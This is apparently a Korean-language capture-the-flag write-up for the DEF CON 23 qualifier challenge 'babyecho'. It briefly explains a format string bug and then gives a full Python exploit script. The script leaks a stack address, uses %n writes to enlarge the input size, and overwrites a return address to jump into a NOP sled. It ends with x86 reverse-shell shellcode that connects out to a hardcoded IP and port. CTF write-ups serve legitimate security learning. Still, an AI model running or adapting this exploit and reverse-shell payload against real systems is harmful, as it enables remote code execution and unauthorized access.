Defcon 23 Prequals - babyecho

이번 문제는 Format String Bug 문제로 다음 사진과 같이 처음 입력받는데 최대 13바이트라는 길이 제한이 있기 때문에 '$-flag 를 이용한 fsb'를 사용하여 풀이하였습니다. 

스택안에 Size 변수 부분을 다른 값으로 바꿔줄 수 있기 때문에 위 Reading 13 bytes를 13bytes가 아닌 더 큰 값으로 변경할 수 있게 됩니다. 

이것과 NX-bit 보호기법이 걸려있지 않기 때문에 쉘코드를 이용하였고 ida로 봤을 때 08048f3c 함수는 while(1)로 되어 있어서 해당 함수의 ret 부분을 NOP 위치로 바꿔도 쉘코드 실행이 되지 않아서 좀 헤맷습니다. 그래서 해당 함수 내의 Print 해주는 함수(0804f560)의 ret 주소를 바꿔주어 풀이하였습니다.  

import struct import re import socket # Reverse Bind Shellcode, 74bytes shellcode = ("\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02" "\x89\xe1\xcd\x80\x92\xb0\x66\x68" "\x7c\x50\x00\x00"#ip 124.80.0.0 "\x66\x68" "\x05\x39"#port 1337 "\x43\x66\x53\x89\xe1\x6a\x10\x51" "\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0" "\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52" "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\xcd\x80") def conn(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.0.17", 6668)) return s def read_until(s, string): data = '' while 1: if string not in data: data += s.recv(1) else: return data def read_regular(s): data = s.recv(100) m = re.compile("0x[\w]{8}") result = m.findall(data) return result.pop() def p(x): return struct.pack("<L", x) def up(x): return struct.unpack("<L", x)[0] if __name__ == "__main__": s = conn() offset_input_size = 0xc offset_ret = 0x20 offset_nop = 0x30 # 1. Send Stack Addr leak read_until(s, "bytes\n") s.send("%5$p\n") stack_value = int(read_regular(s), 16) input_size = stack_value - offset_input_size ret = stack_value - offset_ret shell = stack_value + offset_nop print "[+] input_size addr : ", hex(input_size) print "[+] ret addr : ", hex(ret) print "[+] nop+shellcode addr : ", hex(shell) # 2. Change recv_size 1 , 13->103 read_until(s, "bytes\n") first_payload = '' first_payload += p(input_size) first_payload += "%99x%7$n\n" s.send(first_payload) # 3. Change recv_size 2 , 103->1004 read_until(s, "bytes\n") second_payload = '' second_payload += p(input_size) second_payload += "%1000x%7$n\n" s.send(second_payload) read_until(s, "bytes\n") # 4. Sending Shellcode && Change Ret value shell_high = (shell & 0x1ffff0000) >> 16 shell_low = shell & 0xffff shell_high = shell_high - shell_low - 0x8 third_payload = '' third_payload += p(ret) # %7$hn third_payload += p(ret+2) # %8$hn third_payload += "%"+str(shell_low)+"x%7$hn" third_payload += "%"+str(shell_high)+"x%8$hn" third_payload += "\x90"*(1000-len(shellcode)-len(third_payload)) third_payload += shellcode third_payload += '\n' assert len(third_payload) <= 1004 s.send(third_payload) print "pwned!!"